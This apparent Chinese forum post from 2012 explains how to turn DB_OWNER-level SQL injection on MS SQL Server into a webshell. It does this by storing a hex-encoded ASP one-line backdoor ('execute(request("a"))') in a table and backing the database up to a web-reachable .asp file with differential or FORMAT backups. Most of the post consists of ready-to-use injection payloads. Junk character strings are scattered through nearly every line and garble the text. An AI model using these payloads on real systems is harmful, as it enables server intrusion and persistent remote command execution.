DB_OWNER权限得到webshell的两点改进:. w' V) v; s6 ]# ?
8 U% @/ O. ^9 x! \减少备份文件大小，得到可执行的webshell成功率提高不少
, C6 j0 x H8 s) K# J: t: }一利用差异备份
8 s0 n }8 l; A* K8 C' h/ p加一个参数WITH DIFFERENTIAL9 c' a/ r+ o7 F
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$ l2 T" u% ^9 l declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s2 J9 Y* P6 j3 H% j6 _2 Z* Q) \8 x
create table [dbo].[xiaolu] ([cmd] [image]);
. S2 i; j5 H1 J; pinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)+ j% }5 U8 [% N, v! i& n
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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& A$ K- S- N0 H& J: u) W6 V二利用完全FORMAT
) ^- Q t; n& v1 W5 C/ F5 ~3 r加一个参数WITH FROMAT/ }+ |% P9 H1 l& Z$ @: K7 u6 Q
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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# j ^# B8 T! @2 Y; W declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s/ H5 W9 s9 y. }. f
create table [dbo].[xiaolu] ([cmd] [image]);
# e, r+ n! L! e0 l4 binsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)+ G) v" a/ S. ?5 W K: U. t7 ]
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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2 x1 {* k9 _3 G+ W& Z总的来说就是那么简单几句,下面以备份数据库model为例子- w* _- t* n! N
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id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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8 f; @4 a' {) }, G" O: \9 B' r id=1;backup database model to disk='你的路径‘ with differential,format;-- + k2 g! `- b. ]4 J$ `0 B# n
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发表于 2012-11-9 21:31:07
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